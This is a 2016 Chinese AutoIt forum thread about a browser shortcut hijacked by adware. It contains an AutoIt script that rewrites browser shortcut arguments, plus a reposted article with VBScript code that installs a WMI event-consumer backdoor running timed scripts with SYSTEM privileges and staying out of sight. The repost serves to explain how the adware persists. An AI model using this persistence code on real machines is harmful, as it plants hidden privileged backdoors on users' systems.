找回密码
 加入
搜索
查看: 20661|回复: 25

[AU3基础] 一个浏览器的流氓快捷方式[已解决]

 火.. [复制链接]
发表于 2016-9-21 23:24:42 | 显示全部楼层 |阅读模式
本帖最后由 cashiba 于 2016-9-22 23:44 编辑

[quote][/quote]
如上图,电脑里有个流氓链接的浏览器快捷方式:"C:\Program Files\Internet Explorer\iexplore.exe" http://hao.ttmmt.com/?m=sn&v=1028
在注册表里搜不到hao.ttmmt.com,貌似不是对注册表做的手脚。
修改后,重启系统后又恢复原状。
不知道通过何种方式顽固加载的。虽然流氓,危害也不算大吧,不过让人烦....
有谁知道怎么把这个流氓除掉呢?(不重装系统的情况下)

假如想在重启电脑后自动将链接修改为:"C:\Program Files\Internet Explorer\iexplore.exe" http://www.autoitx.com/index.php
怎么办?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
发表于 2016-9-21 23:47:30 | 显示全部楼层
au3还没弄过  这个NSIS  貌似做起来很简单。
 楼主| 发表于 2016-9-21 23:51:06 | 显示全部楼层
au3还没弄过  这个NSIS  貌似做起来很简单。
heroxianf 发表于 2016-9-21 23:47
一直改不掉,改后,一重启系统又回去了.....是从哪里做的手脚呢?
 楼主| 发表于 2016-9-21 23:55:38 | 显示全部楼层
杀毒软件也没报警,也不像病毒行为。以前碰到过主页改不掉的,好像是通过自动加载某个Dll实现的。有的杀毒软件能发现,但杀不彻底。盗版系统为了做广告真是用了很多心思阿。说不定就是用AU3做的呢
发表于 2016-9-22 01:43:45 | 显示全部楼层
回复 3# cashiba


    查找启动项,注册表启动了什么东西。完全可以用其他编写随系统运行,海大也遇到过。
发表于 2016-9-22 08:11:16 | 显示全部楼层
wmi
 楼主| 发表于 2016-9-22 09:34:12 | 显示全部楼层
wmi....认识但是不懂...
发表于 2016-9-22 09:53:45 | 显示全部楼层
发表于 2016-9-22 10:11:28 | 显示全部楼层
用了海大的 有效果还是回来说一说呢
发表于 2016-9-22 10:16:17 | 显示全部楼层
 楼主| 发表于 2016-9-22 10:39:12 | 显示全部楼层
#NoTrayIcon
#RequireAdmin
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#PRE_UseX64=n
#PRE_Res_Comment=Autoit交流群:477266297
#PRE_Res_Description=Autoit交流群:477266297
#PRE_Res_Fileversion=Autoit交流群:477266297
#PRE_Res_LegalCopyright=Autoit交流群:477266297
#PRE_Res_requestedExecutionLevel=None
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <array.au3>
Opt('MustDeclareVars', 1)
Opt("GUIOnEventMode", 1)
Global $gTitle = 'MyScript'
If WinExists($gTitle) Then Exit
AutoItWinSetTitle($gTitle)
Global $MainForm, $Lbl_HomePage, $Ipt_HomePage, $Btn_SetHomePage
Global $link = 'http://www.home1223.com/'


$MainForm = GUICreate("设置主页", 345, 88)
$Lbl_HomePage = GUICtrlCreateLabel("请输入要设置的主页", 24, 8, 204, 17)
$Ipt_HomePage = GUICtrlCreateInput($link, 24, 32, 217, 21)
$Btn_SetHomePage = GUICtrlCreateButton("设置主页", 256, 30, 75, 25)
GUISetState(@SW_SHOW)

GUISetOnEvent(-3, 'GuiEnvent')
GUICtrlSetOnEvent($Btn_SetHomePage, 'GuiEnvent')
While 1
        Sleep(100)
WEnd

Func GuiEnvent()
        Switch @GUI_CtrlId
                Case -3
                        Exit
                Case $Btn_SetHomePage
                        $link = GUICtrlRead($Ipt_HomePage)
                        If StringStripWS($link, 8) <> '' Then
                                GUICtrlSetState($Btn_SetHomePage, 128)
                                SetHomePage($link)
                                GUICtrlSetState($Btn_SetHomePage, 64)
                                MsgBox(64 + 8192 + 262144, '提示', '设置主页完成!', 1, $MainForm)
                        Else
                                MsgBox(16 + 8192 + 262144, '提示', '请输入主页网址!', 3, $MainForm)
                        EndIf
        EndSwitch

EndFunc   ;==>GuiEnvent

Func SetHomePage($link = 'http://www.home1223.com/')
        Local $HomeDrive = @HomeDrive
        If StringInStr(RegRead('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control', 'SystemStartOptions'), 'MININT') Then $HomeDrive = 'C:'
        Local $browsers, $lnkpaths
        Local $browsersArr, $lnkpathsArr
        Local $oDic, $oFolders, $fso, $WshShell, $oShellLink
        Local $path, $name
        $browsers = '114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe'
        $lnkpaths = $HomeDrive & '\Users\Public\Desktop,' & _
                        $HomeDrive & '\ProgramData\Microsoft\Windows\Start Menu\Programs,' & _
                        $HomeDrive & '\Users\Administrator\Desktop,' & _
                        $HomeDrive & '\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,' & _
                        $HomeDrive & '\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,' & _
                        $HomeDrive & '\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,' & _
                        $HomeDrive & '\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs,' & _
                        @StartMenuCommonDir & ',' & @ProgramsCommonDir & ',' & @DesktopDir & ',' & @DesktopCommonDir & ',' & _
                        @AppDataDir & '\Microsoft\Internet Explorer\Quick Launch,' & _
                        @AppDataCommonDir & '\Microsoft\Internet Explorer\Quick Launch,' & _
                        @AppDataDir & '\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,' & _
                        @AppDataCommonDir & '\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar'
        $browsersArr = StringSplit($browsers, ',')
        $oDic = ObjCreate('scripting.dictionary')
        For $browser In $browsersArr
                $oDic.Add(StringLower($browser), $browser)
        Next
        $lnkpathsArr = StringSplit($lnkpaths, ',')
        $lnkpathsArr = _ArrayUnique($lnkpathsArr)
        $oFolders = ObjCreate('scripting.dictionary')
        For $lnkpath In $lnkpathsArr
                $oFolders.Add($lnkpath, $lnkpath)
        Next
        $fso = ObjCreate('Scripting.Filesystemobject')
        $WshShell = ObjCreate('Wscript.Shell')
        For $oFolder In $oFolders
                If $fso.FolderExists($oFolder) Then
                        For $file In $fso.GetFolder($oFolder).Files
                                If StringLower($fso.GetExtensionName($file.Path)) = 'lnk' Then
                                        $oShellLink = $WshShell.CreateShortcut($file.Path) ;返回快捷方式对象,方便后面对快捷方式进行操作
                                        $path = $oShellLink.TargetPath ;获取快捷方式的真实地址
                                        $name = $fso.GetBaseName($path) & '.' & $fso.GetExtensionName($path)
                                        If $oDic.Exists(StringLower($name)) Then
                                                $oShellLink.Arguments = $link
                                                If StringInStr(FileGetAttrib($file.Path), 'R') Then $file.Attributes = $file.Attributes - 1
                                                $oShellLink.Save
                                        EndIf
                                EndIf
                        Next
                EndIf
        Next
EndFunc   ;==>SetHomePage
一键修复,效果很好....
 楼主| 发表于 2016-9-22 10:44:20 | 显示全部楼层
利用WMI打造完美三无后门(scrcons.exe)

    这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等
    ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本。
    先来看一下其原型:
    class ActiveScriptEventConsumer : __EventConsumer
    {
    uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读
    uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止
    string MachineName;
    uint32 MaximumQueueSize;
    string Name; //自定义的事件消费者的名字。
    string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript
    string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。
    string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你
    };
    ASEC的安装
    对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。
    代码如下:
    Function InstallASECForWin2K ’安装ASEC For Windows 2000’
    Dim ASECPath2K
    ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
    Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
    MofContent = MofFile.Readall
    MofFile.Close
    MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间
    TempMofFile=ASECPath2K&"Temp.mof"
    Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
    TempMof.Write MofContent
    TempMof.close
    XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
    FSO.DeleteFile(TempMofFile)
    ASECStatus = "Ready"
    ’Wscript.Echo "ASECForWin2K Install OK!"
    End Function
    Function InstallASECForWinXP ’安装ASEC For Windows XP’
    Dim ASECPathXP
    XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
    XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可
    ASECStatus = "Ready"
    ’Wscript.Echo "ASECForWinXP Install OK!"
    End Function
    Function InstallASECForVista ’安装ASEC For Windows Vista’
    Dim ASECPath2K
    ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
    Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
    Set MofFile = f.OpenAsTextStream(1,-2)
    ’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
    MofContent = MofFile.Readall
    MofFile.Close
    MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
    TempMofFile=ASECPath2K&"Temp.mof"
    Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
    TempMof.Write MofContent
    TempMof.close
    XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
    FSO.DeleteFile(TempMofFile)
    ASECStatus = "Ready"
    ’Wscript.Echo "ASECForWinVista Install OK!"
    End Function
    再来看一个绑定事件和ASEC的实例。
    代码如下:
    Function InstallUpdateableTrojan
    WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间
    TrojanName="ScriptKids" //自定义的消费者名字,也就是你的后门的名字
    TrojanRunTimer=30000 //自定义的脚本运行间隔
    strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
    ’配置事件消费者’
    set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
    Asec.name=TrojanName&"_consumer"
    Asec.scriptingengine="vbscript"
    Asec.scripttext=strtxt
    set Asecpath=Asec.put_
    ’配置计时器’
    set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
    WMITimer.timerid=TrojanName&"_WMITimer"
    WMITimer.intervalbetweenevents=TrojanRunTimer
    WMITimer.skipifpassed=false
    WMITimer.put_
    ’配置事件过滤器’
    set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
    EventFilter.name=TrojanName&"_filter"
    EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
    EventFilter.querylanguage="wql"
    set FilterPath=EventFilter.put_
    ’绑定消费者和过滤器’
    set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
    Binds.consumer=Asecpath.path
    Binds.filter=FilterPath.path
    Binds.put_
    End Function
    以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:)
    最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以 SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是,每当脚本执 行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少 人会注意到呢? http://www.jb51.net/hack/82851.html
这个讲的原理比较好好懂。为防将来链接失效,直接转来了。。。
发表于 2016-9-22 11:39:19 | 显示全部楼层
回复 10# haijie1223


   问一下 怎么查看自己回过的帖子的,谢谢
 楼主| 发表于 2016-9-22 12:41:18 | 显示全部楼层
回复 13# 1361739590

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
发表于 2016-9-22 13:13:18 | 显示全部楼层
回复 14# cashiba


    谢谢。账号又窜你那啦
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-12-23 21:42 , Processed in 0.248583 second(s), 24 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表